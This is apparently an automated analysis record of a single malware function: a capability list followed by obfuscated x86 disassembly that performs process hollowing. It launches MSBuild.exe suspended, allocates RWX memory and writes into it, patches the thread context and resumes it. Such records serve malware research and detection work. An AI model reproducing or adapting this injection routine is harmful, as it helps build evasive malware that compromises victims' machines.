Function at 0x10013fa0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10095080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0x5ceb4f03
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x811c9a50
je 0x10017043
jmp 0x10013fdc
mov eax, dword [ebp - 0x118]
sub eax, 0x812ad913
je 0x10018d55
jmp 0x10013ff2
mov eax, dword [ebp - 0x118]
sub eax, 0x8143311f
je 0x100198e5
jmp 0x10014008
mov eax, dword [ebp - 0x118]
sub eax, 0x815c54a7
je 0x100189b6
jmp 0x1001401e
mov eax, dword [ebp - 0x118]
sub eax, 0x81e3d379
je 0x10015fff
jmp 0x10014034
mov eax, dword [ebp - 0x118]
sub eax, 0x81fc79b6
je 0x10017295
jmp 0x1001404a
mov eax, dword [ebp - 0x118]
sub eax, 0x827b0e4f
je 0x10017cc8
jmp 0x10014060
mov eax, dword [ebp - 0x118]
sub eax, 0x82f47f0c
je 0x10019b24
jmp 0x10014076
mov eax, dword [ebp - 0x118]
sub eax, 0x830d6bf6
je 0x10019813
jmp 0x1001408c
mov eax, dword [ebp - 0x118]
sub eax, 0x83cee1ba
je 0x10016e5d
jmp 0x100140a2
mov eax, dword [ebp - 0x118]
sub eax, 0x841a58a1
je 0x10018166
jmp 0x100140b8
mov eax, dword [ebp - 0x118]
sub eax, 0x842b6a94
je 0x100198b1
jmp 0x100140ce
mov eax, dword [ebp - 0x118]
sub eax, 0x844c3e59
je 0x1001953d
jmp 0x100140e4
mov eax, dword [ebp - 0x118]
sub eax, 0x84eaeb81
je 0x10019928
jmp 0x100140fa
mov eax, dword [ebp - 0x118]
sub eax, 0x861af724
je 0x10016c6c
jmp 0x10014110
mov eax, dword [ebp - 0x118]
sub eax, 0x869c878f
je 0x100182e7
jmp 0x10014126
mov eax, dword [ebp - 0x118]
sub eax, 0x8777f649
je 0x10017447
jmp 0x1001413c
mov eax, dword [ebp - 0x118]
sub eax, 0x8788d943
je 0x10015b3a
jmp 0x10014152
mov eax, dword [ebp - 0x118]
sub eax, 0x87f7276e
je 0x10017d59
jmp 0x10014168
mov eax, dword [ebp - 0x118]
sub eax, 0x8804d8c2
je 0x10016f5e
jmp 0x1001417e
mov eax, dword [ebp - 0x118]
sub eax, 0x89faad02
je 0x10017550
jmp 0x10014194
mov eax, dword [ebp - 0x118]
sub eax, 0x8a297e05
je 0x1001829e
jmp 0x100141aa
mov eax, dword [ebp - 0x118]
sub eax, 0x8cadc368
je 0x10019a5a
jmp 0x100141c0
mov eax, dword [ebp - 0x118]
sub eax, 0x90249eee
je 0x1001986b
jmp 0x100141d6
mov eax, dword [ebp - 0x118]
sub eax, 0x9176c89e
je 0x10016992
jmp 0x100141ec
mov eax, dword [ebp - 0x118]
sub eax, 0x9364c007
je 0x10018547
jmp 0x10014202
mov eax, dword [ebp - 0x118]
sub eax, 0x9445ba78
je 0x10015dc6
jmp 0x10014218
mov eax, dword [ebp - 0x118]
sub eax, 0x94979e1a
je 0x1001627c
jmp 0x1001422e
mov eax, dword [ebp - 0x118]
sub eax, 0x95123134
je 0x10015f50
jmp 0x10014244
mov eax, dword [ebp - 0x118]
sub eax, 0x9540cac8
je 0x1001686c
jmp 0x1001425a
mov eax, dword [ebp - 0x118]
sub eax, 0x959f56d2
je 0x10017c43
jmp 0x10014270
mov eax, dword [ebp - 0x118]
sub eax, 0x96f39f42
je 0x10016726
jmp 0x10014286
mov eax, dword [ebp - 0x118]
sub eax, 0x97cd6672
je 0x10016420
jmp 0x1001429c
mov eax, dword [ebp - 0x118]
sub eax, 0x97fd5280
je 0x10015d50
jmp 0x100142b2
mov eax, dword [ebp - 0x118]
sub eax, 0x987fdc73
je 0x100197ee
jmp 0x100142c8
mov eax, dword [ebp - 0x118]
sub eax, 0x99524191
je 0x10016c23
jmp 0x100142de
mov eax, dword [ebp - 0x118]
sub eax, 0x999baa2e
je 0x10017059
jmp 0x100142f4
mov eax, dword [ebp - 0x118]
sub eax, 0x99a3c944
je 0x10015ec8
jmp 0x1001430a
mov eax, dword [ebp - 0x118]
sub eax, 0x9a00ba9d
je 0x1001708e
jmp 0x10014320
mov eax, dword [ebp - 0x118]
sub eax, 0x9a242742
je 0x10017976
jmp 0x10014336
mov eax, dword [ebp - 0x118]
sub eax, 0x9a502be9
je 0x1001649d
jmp 0x1001434c
mov eax, dword [ebp - 0x118]
sub eax, 0x9b9fca28
je 0x10018c36
jmp 0x10014362
mov eax, dword [ebp - 0x118]
sub eax, 0x9e91faba
je 0x100163aa
jmp 0x10014378
mov eax, dword [ebp - 0x118]
sub eax, 0x9f76da33
je 0x10019650
jmp 0x1001438e
mov eax, dword [ebp - 0x118]
sub eax, 0xa058fa28
je 0x100198c0
jmp 0x100143a4
mov eax, dword [ebp - 0x118]
sub eax, 0xa271272c
je 0x10018b66
jmp 0x100143ba
mov eax, dword [ebp - 0x118]
sub eax, 0xa581024f
je 0x10015af1
jmp 0x100143d0
mov eax, dword [ebp - 0x118]
sub eax, 0xa6030cf1
je 0x10018f9a
jmp 0x100143e6
mov eax, dword [ebp - 0x118]
sub eax, 0xa70dfc07
je 0x1001926a
jmp 0x100143fc
mov eax, dword [ebp - 0x118]
sub eax, 0xa835bdd2
je 0x1001764c
jmp 0x10014412
mov eax, dword [ebp - 0x118]
sub eax, 0xa89a3c14
je 0x100195b3
jmp 0x10014428
mov eax, dword [ebp - 0x118]
sub eax, 0xa8e5c85c
je 0x100173fe
jmp 0x1001443e
mov eax, dword [ebp - 0x118]
sub eax, 0xaa7b99c8
je 0x10019855
jmp 0x10014454
mov eax, dword [ebp - 0x118]
sub eax, 0xab239224
je 0x10019919
jmp 0x1001446a
mov eax, dword [ebp - 0x118]
sub eax, 0xad69f898
je 0x1001781d
jmp 0x10014480
mov eax, dword [ebp - 0x118]
sub eax, 0xae28963b
je 0x10017c34
jmp 0x10014496
mov eax, dword [ebp - 0x118]
sub eax, 0xaf3f029f
je 0x10018e03
jmp 0x100144ac
mov eax, dword [ebp - 0x118]
sub eax, 0xafb1cf38
je 0x1001983f
jmp 0x100144c2
mov eax, dword [ebp - 0x118]
sub eax, 0xb016450b
je 0x10017bbe
jmp 0x100144d8
mov eax, dword [ebp - 0x118]
sub eax, 0xb3c3ec88
je 0x100186a6
jmp 0x100144ee
mov eax, dword [ebp - 0x118]
sub eax, 0xb3d2694d
je 0x1001613c
jmp 0x10014504
mov eax, dword [ebp - 0x118]
sub eax, 0xb55ef3e1
je 0x100196ff
jmp 0x1001451a
mov eax, dword [ebp - 0x118]
sub eax, 0xb80ae05b
je 0x10015ed7
jmp 0x10014530
mov eax, dword [ebp - 0x118]
sub eax, 0xb86e7b3c
je 0x10019748
jmp 0x10014546
mov eax, dword [ebp - 0x118]
sub eax, 0xb9ff6609
je 0x100179ec
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63f3c885
mov ecx, 0x8788d943
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xd8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
mov byte [ebp - 0xfd], 1
mov al, byte [ebp - 0xfd]
and al, 1
mov byte [ebp - 0x9a], al
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
mov edx, eax
sub edx, 0xe36b6a26
sub edx, 1
add edx, 0xe36b6a26
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63f3c885
mov ecx, 0x1c9f965e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0x401d1ee6
jmp 0x10019c5c
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
add edx, 0x9144215f
sub edx, 1
sub edx, 0x9144215f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x253d7686
mov ecx, 0xf43d6a60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xb80ae05b
jmp 0x10019c5c
mov dword [ebp - 0x114], 0x3b3b8bec
jmp 0x10019c5c
cmp dword [ebp - 0x104], 0xefb8f1b
setg al
and al, 1
mov byte [ebp - 0x99], al
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
mov edx, eax
add edx, 0x2542c592
sub edx, 1
sub edx, 0x2542c592
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b934a43
mov ecx, 0xce3b2fd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x114], 0xce7ae9ca
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xde495f45
jmp 0x10019c5c
mov dword [ebp - 0x114], 0x21ee6a7e
jmp 0x10019c5c
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
add edx, 0x963a9927
sub edx, 1
sub edx, 0x963a9927
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x987fdc73
mov ecx, 0x97cd6672
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov byte [ebp - 0x105], 0
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
add edx, 0x4418fbe
sub edx, 1
sub edx, 0x4418fbe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x987fdc73
mov ecx, 0x9a502be9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0x644f834b
jmp 0x10019c5c
mov byte [ebp - 0x106], 1
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
sub edx, 0xb46e60d2
sub edx, 1
add edx, 0xb46e60d2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x29e4ede
mov ecx, 0xbb5b98ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov byte [ebp - 0x106], 1
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
mov edx, eax
add edx, 0x5a7eb167
sub edx, 1
sub edx, 0x5a7eb167
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xafb1cf38
mov ecx, 0xc93d94e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xe36f2b7e
jmp 0x10019c5c
mov dl, byte [ebp - 0x85]
mov eax, 0xcd6cd8b6
mov ecx, 0xc0fb123b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x114], 0x75819394
jmp 0x10019c5c
mov dl, byte [ebp - 0x80]
mov eax, 0xdaa615a4
mov ecx, 0x811c9a50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0x79453cf9
jmp 0x10019c5c
mov byte [ebp - 0x10d], 0
mov dword [ebp - 0x114], 0x999baa2e
jmp 0x10019c5c
xor eax, eax
mov dl, al
mov eax, 0x72d5ee09
mov ecx, 0xc0386b79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xf1369e25
jmp 0x10019c5c
mov dl, byte [ebp - 0x7f]
mov eax, 0x45d8ac7d
mov ecx, 0x6963b50b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xab239224
mov ecx, 0x8777f649
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xea9516eb
jmp 0x10019c5c
xor eax, eax
mov dl, al
mov eax, 0x4913a590
mov ecx, 0x44048f61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xc8dc9557
jmp 0x10019c5c
mov dl, byte [ebp - 0x7e]
mov eax, 0x3a6ff5fc
mov ecx, 0x3171bc6f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
add edx, 0xed61055a
sub edx, 1
sub edx, 0xed61055a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x64453d8a
mov ecx, 0xb9ff6609
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
add edx, 0xa22dcc03
sub edx, 1
sub edx, 0xa22dcc03
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x374e8cbb
mov ecx, 0xae28963b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0x959f56d2
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xd5a5a015
jmp 0x10019c5c
mov eax, dword [ebp - 0xf8]
mov dword [eax], 0xefb8f1d
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
add edx, 0xfadec98a
sub edx, 1
sub edx, 0xfadec98a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x69af7de9
mov ecx, 0x745b7f30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
add edx, 0x1c2f22dc
sub edx, 1
sub edx, 0x1c2f22dc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd7ba0496
mov ecx, 0xd4d2c16d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
mov edx, eax
add edx, 0x91d0087e
sub edx, 1
sub edx, 0x91d0087e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6c9b3970
mov ecx, 0x698e7731
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8a65095
mov ecx, 0x869c878f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
mov edx, eax
add edx, 0xe9b8097f
sub edx, 1
sub edx, 0xe9b8097f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8a65095
mov ecx, 0x10bd0d23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [ebp - 0xf4]
mov dword [eax], 1
mov dword [ebp - 0x114], 0xf9f1e552
jmp 0x10019c5c
mov dl, byte [ebp - 0x5d]
mov eax, 0xf1037632
mov ecx, 0xfc1b6adc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1002d8d0
add esp, 0xc
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xd0]
mov byte [eax], cl
mov eax, dword [ebp - 0xcc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov dl, byte [eax]
mov eax, 0xf9492aa6
mov ecx, 0xbab6b2de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0xd8]
add eax, 4
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
sub edx, 0xba109465
sub edx, 1
add edx, 0xba109465
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc9aeeb35
mov ecx, 0x287535cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1000fe40
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x68eef84f
jmp 0x10019c5c
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ax, word [eax + 0x14]
mov word [ebp - 0x3e], ax
mov dword [ebp - 0x114], 0xdff3a532
jmp 0x10019c5c
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add eax, 4
add eax, 2
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x114], 0x41de7bf7
jmp 0x10019c5c
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x2c], eax
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf0590ae9
mov ecx, 0xc7203268
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
mov edx, eax
add edx, 0xce82ffcf
sub edx, 1
sub edx, 0xce82ffcf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7cd2db8b
mov ecx, 0x7b91c563
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
sub edx, 0x9dce80d1
sub edx, 1
add edx, 0x9dce80d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc21083d
mov ecx, 0xa89a3c14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov eax, dword [ebp - 0x18]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov ecx, dword [0x10096664]
mov eax, dword [0x10096660]
mov edx, ecx
add edx, 0x86fc7394
sub edx, 1
sub edx, 0x86fc7394
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfc21083d
mov ecx, 0xe14d905
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xdc1e2efe
jmp 0x10019c5c
mov eax, dword [0x10096664]
mov ecx, dword [0x10096660]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfda45687
mov ecx, 0xb86e7b3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xa36ff70
jmp 0x10019c5c
mov byte [ebp - 0x105], 0
mov dword [ebp - 0x114], 0x97cd6672
jmp 0x10019c5c
mov byte [ebp - 0x106], 1
mov dword [ebp - 0x114], 0xcd5d400f
jmp 0x10019c5c
mov byte [ebp - 0x106], 1
mov dword [ebp - 0x114], 0x9540cac8
jmp 0x10019c5c
mov byte [ebp - 0x106], 1
mov dword [ebp - 0x114], 0xbbb434cb
jmp 0x10019c5c
mov dword [ebp - 0x114], 0x62d94d12
jmp 0x10019c5c
mov dword [ebp - 0x114], 0x41cdbc10
jmp 0x10019c5c
mov byte [ebp - 0x10d], 1
mov dword [ebp - 0x114], 0x3de78d3b
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xf114ddf8
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xa8e5c85c
jmp 0x10019c5c
mov dword [ebp - 0x114], 0xbce15f45
jmp 0x10019c5c
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x4e6cc859
jmp 0x10019c5c
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x114], 0xcbc52156
jmp 0x10019c5c
jmp 0x10013fc0